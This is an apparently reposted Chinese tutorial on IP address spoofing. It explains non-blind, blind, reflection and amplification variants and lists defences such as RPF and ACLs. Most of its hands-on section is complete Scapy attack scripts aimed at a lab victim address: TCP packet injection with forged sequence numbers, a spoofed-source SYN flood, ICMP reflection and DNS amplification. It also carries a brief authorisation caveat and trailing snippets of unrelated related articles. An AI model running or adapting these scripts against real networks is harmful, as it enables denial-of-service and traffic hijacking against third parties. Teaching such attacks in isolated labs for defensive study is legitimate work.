使用 Scapy 库编写 IP 地址欺骗攻击脚本

一、介绍

1.1 概述

IP地址欺骗(IP Spoofing)是一种网络攻击技术,攻击者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种攻击中,例如DDoS攻击、Man-in-the-Middle(MITM)攻击和拒绝服务(DoS)攻击等。

1.2 攻击原理

IP地址欺骗的核心在于攻击者能够创建带有伪造源IP地址的IP数据包。当目标系统接收到这些数据包时,会误以为它们来自合法的来源,从而执行攻击者预期的操作。由于IP协议本身并不验证数据包的源地址,这种攻击变得相对容易实现。

1.3 具体类型

  1. 非盲欺骗(Non-blind Spoofing)

    • 攻击者能够看到目标系统和合法来源之间的通信。通过截获和分析数据包,攻击者可以伪造合法的IP地址并插入恶意数据包。
  2. 盲欺骗(Blind Spoofing)

    • 攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。盲欺骗通常用于攻击需要少量数据包的协议(如ICMP和UDP)。
  3. 反射攻击(Reflection Attack)

    • 攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将这些数据包发送到第三方服务器。第三方服务器会将响应数据包发送到目标系统,形成反射攻击。
  4. 放大攻击(Amplification Attack)

    • 类似于反射攻击,但利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。

1.4 防御措施

  1. 反向路径转发(Reverse Path Forwarding, RPF)

    • 在路由器上启用RPF检查,确保数据包的源地址与预期路径匹配。若不匹配,则丢弃数据包。
  2. 访问控制列表(ACL)

    • 在网络设备上配置ACL,限制哪些IP地址可以发送数据包到特定的网络资源。
  3. 入侵检测和防御系统(IDS/IPS)

    • 部署IDS/IPS,实时监控网络流量,检测并阻止异常的流量模式和伪造的数据包。
  4. 网络防火墙

    • 配置防火墙规则,过滤异常的IP地址和不合法的源IP地址。
  5. 网络分段

    • 使用虚拟局域网(VLAN)技术将网络分段,减少欺骗攻击的影响范围。

二、实验环境

受害者:192.168.134.148

三、实操演示

3.1 非盲欺骗(Non-blind Spoofing)

在非盲欺骗中,攻击者能够看到目标系统和合法来源之间的通信,因此可以伪造合法IP地址并插入恶意数据包。

实验步骤:

  1. 设置环境

    • 攻击者设备能够嗅探目标设备的通信。
    • 使用Wireshark或类似工具观察目标设备和合法来源之间的通信。
  2. 捕获合法数据包

    • 捕获目标设备和合法来源之间的通信,特别是TCP连接建立过程(SYN, SYN-ACK, ACK)。
  3. 插入伪造数据包

    • 使用Scapy构造带有合法序列号和确认号的TCP数据包。
from scapy.all import *
from scapy.layers.inet import TCPdef non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"send(packet)if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址spoofed_ip = "192.168.1.1"   # 伪造的源IP地址target_port = 80             # 目标系统开放的端口seq_num = 1000               # 合法通信中捕获的序列号ack_num = 1001               # 合法通信中捕获的确认号non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)

这里的话其实开两台主机通信效果最明显 

3.2 盲欺骗(Blind Spoofing)

在盲欺骗中,攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。这里使用ICMP协议进行简单的盲欺骗示例。 

实验步骤:

  1. 发送大量伪造SYN数据包
    • 使用Scapy发送大量带有伪造源IP地址的SYN数据包。
from scapy.all import *
import random
from scapy.layers.inet import TCPdef blind_spoofing(target_ip, target_port):for _ in range(100):  # 发送100个伪造的SYN数据包spoofed_ip = "192.168.1." + str(random.randint(1, 254))packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")send(packet)if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址target_port = 80             # 目标系统开放的端口blind_spoofing(target_ip, target_port)

3.3 反射攻击(Reflection Attack)

反射攻击利用中间服务器(反射器)将攻击数据包反射回目标系统。攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将数据包发送到第三方服务器。

from scapy.all import *
from scapy.layers.inet import ICMPdef reflection_attack(target_ip, reflector_ip):# 发送多个ICMP Echo请求包for _ in range(10):  # 发送10个反射攻击包packet = IP(src=target_ip, dst=reflector_ip) / ICMP() / b"Reflection attack"send(packet)print(f"Sent packet to {reflector_ip} with spoofed source {target_ip}")if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标系统的IP地址reflector_ip = "192.168.134.147"     # 反射器的IP地址,例如公共DNS服务器reflection_attack(target_ip, reflector_ip)

3.4 放大攻击(Amplification Attack)

放大攻击利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。以下示例展示了如何通过伪造源IP地址来实现DNS放大攻击。

from scapy.all import *
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import UDPdef amplification_attack(target_ip, dns_server_ip):# 构造DNS查询请求dns_request = IP(src=target_ip, dst=dns_server_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="www.hubstc.com.cn"))for _ in range(10):  # 发送10个放大攻击包send(dns_request)print(f"Sent DNS request to {dns_server_ip} with spoofed source {target_ip}")if __name__ == "__main__":target_ip = "192.168.134.148"    # 目标系统的IP地址dns_server_ip = "192.168.134.147"      # 公共DNS服务器的IP地址amplification_attack(target_ip, dns_server_ip)

四、注意事项

  1. 合法性和道德规范:确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行IP地址欺骗实验。
  2. 网络隔离:确保实验网络与生产网络隔离,避免对实际业务造成影响。
  3. 监控与恢复:实验过程中实时监控网络和系统状态,实验结束后立即停止攻击工具,并确保系统恢复正常。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/20728.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

buidldroot musl uclib库 编译

buildroot 修改 编译工具链 原本编译器相关信息: Incorrect selection of the C library buidroot编译 注意相关选项,后续使用CUSTOM TOOLCHAIN 时对应 UCLIB 能将生成IMAGE 从2.9K变为2.3K MUSL 能将生成IMAGE 从2.9K变为2.7K 变大了 arm-linux-…

阻塞、非阻塞、同步、异步

通信中有常见的4种机制:阻塞和非阻塞,同步和异步。 通过一个工作中领导给下级安排工作的例子来理解和区分这 4 个概念。例子中的领导相当于用户线程,下级相当于要访问的数据,领导给下级安排工作相当于代码中调用 read(), write()…

c++的string一键介绍

前言: 这篇文章旨在帮助读者回忆如何使用string,并提醒注意事项。它不是一篇详细的功能介绍,而是一篇润色文章。 先展示重载函数,如果该函数一笔不可带过,就先展示英文原档(附带翻译)&#xf…

教你搞一个比较简单的计时和进度条装饰器

教你搞一个比较简单的计时和进度条装饰器 什么是装饰器为啥要用装饰器呢?上代码!如何使用装饰器效果 什么是装饰器 装饰器的英文是:Decorator。装修的英文是:Decoration。顾名思义就是我们要用装饰器在函数func()上搞点儿事儿&am…

CSS动画效果(鼠标滑过按钮动画)

1.整体效果 https://mmbiz.qpic.cn/sz_mmbiz_gif/EGZdlrTDJa5SXiaicFfsrcric7TJmGO6YddqC4wFPdM7PGzPHuFgvtDS7MIvnLHB4WFaKia0Qh8VCyUaoyHMc2Zltg/640?wx_fmtgif&fromappmsg&tpwebp&wxfrom5&wx_lazy1&wx_co1 网页设计中的按钮不仅是用户交互的桥梁&#…

Vue + Nodejs + socket.io 实现聊天

Vue 代码 // 安装 socket.io-clientnpm i socket.io-clientimport io from socket.io-client;mounted () {// * location.origin 表示你的 socket 服务地址// * /XXXX/socket.io 表示 你的 socket 在服务器配置的 访问地址let socket io(location.origin, {path: "/XX…

抓包工具实战

Npcap下载: https://npcap.com/#download 安装抓包数据: WinPcap Download python抓包: from scapy.all import * if __name__ __main__:filterstr "tcp || udp"pr sniff(filterfilterstr, count4)

原生APP开发和Flutter开发的比较

原生APP开发和Flutter开发各有优缺点,适用于不同的场景和需求。下面是两者的详细比较,从开发语言、性能、开发效率、维护和更新、社区和支持等多个方面进行分析。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。…

htb_BoardLight

信息收集 nmap -sSVC 10.10.11.11开放80端口,将boardlight.htb写入/etc/hosts 同步进行子域名和目录扫描 子域名扫不到 这个目录扫描很奇怪哈,明明访问80端口有页面,就是扫不出来 直接浏览器访问80端口,四处看看,发…

7、架构-架构的安全性

即使只限定在“软件架构设计”这个语境下,系统安全仍然是一 个很大的话题。我们谈论的计算机系统安全,不仅仅是指“防御系统 被黑客攻击”这样狭隘的安全,还至少应包括(不限于)以下这些问 题的具体解决方案。 认证&am…

如何实现Java中的单例模式?举例说明。

Java中的单例模式(Singleton Pattern)是一种创建型设计模式,确保一个类只有一个实例,并提供全局访问点。实现单例模式有多种方法,下面介绍几种常见的实现方式。 饿汉式单例(Eager Initialization&#xff…

自定义数据集训练 Yolo V10

上次介绍了Yolo 推理,本文我们将使用自己的数据集训练 Yolo V10,训练过程简单: 首先准备数据集,包括图片、标注训练推理 数据集准备 本次采用的数据集为内部数据,标注方法为 VOC 格式,首先我们需要建 VO…

智能辅导班技术架构:运用人工智能提升教育领域的学习效果

在教育领域,随着人工智能的发展,智能辅导班逐渐成为一种趋势。它利用先进的技术和创新的教学方法,为学生提供个性化的学习体验和全方位的辅导服务。本文将介绍智能辅导班的技术架构,探讨如何运用人工智能来提升学习效果。 ### 1. …

力扣之链表专题

1. (LeetCode-21)合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1: 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4]示例 2: 输入:l1 …

微服务架构-微服务实施

目录 一、概述 二、微服务拆分 2.1 概述 2.2 拆分原则 2.3 拆分方法 2.3.1 以数据为维度进行拆分 2.3.2 按照使用场景拆分 2.3.3 重要和非重要的拆分 2.3.4 变和不变的拆分 三、微服务通信 3.1 概述 3.2 微服务通信方式选择 3.3 微服务编排 3.4 API接口设计 3.5 …

「计网」网络初识

🎇个人主页:Ice_Sugar_7 🎇所属专栏:计网 🎇欢迎点赞收藏加关注哦! 网络初识 🍉IP 地址 & 端口号🍉网络协议🍌TCP/IP 网络协议 🍉封装和分用&#x1f349…

乡村振兴与乡村旅游创新:创新乡村旅游产品,提升旅游服务水平,打造特色乡村旅游品牌,助力美丽乡村建设

目录 一、引言 二、乡村旅游产品的创新 (一)挖掘乡村特色资源 (二)注重产品体验性 (三)创新旅游产品形态 三、旅游服务水平的提升 (一)加强基础设施建设 (二&…

如何上传模型素材创建3D漫游作品?

一、进入3D空间漫游互动工具编辑器 进入720云官网-点击“开始创作”-选择3D空间漫游-进入到作品创建页面。 二、上传模型及素材,创建生成3D空间漫游模型 1.创建3D空间作品:您可以选择新建空白作品或使用720云提供的预设空间模板,本篇主要介绍…

[手游] Florence逝去的爱弗洛伦斯

图片处理工具箱Hummingbird : Hummingbird使用智能压缩技术来减少文件的大小,支持:jpg、png、webp、svg、gif、gif、css、js、html、mp4、mov,可以设置压缩的同时等比例缩放图片或视频的尺寸。可以拖放文件夹压缩,一次最多可处理1…

redis(16):Redis的BigKey问题以及解决方案

1 什么是BigKey问题 在Redis中,每个Key都会对应一个Value,而这个Value的大小会影响Redis的性能表现。当我们存储的Value特别大时,就会出现BigKey问题。比如,在我们的互联网系统中,需要保存用户最新1万个粉丝的业务,或者一个用户的个人信息缓存,里面包括了基本资料、关系…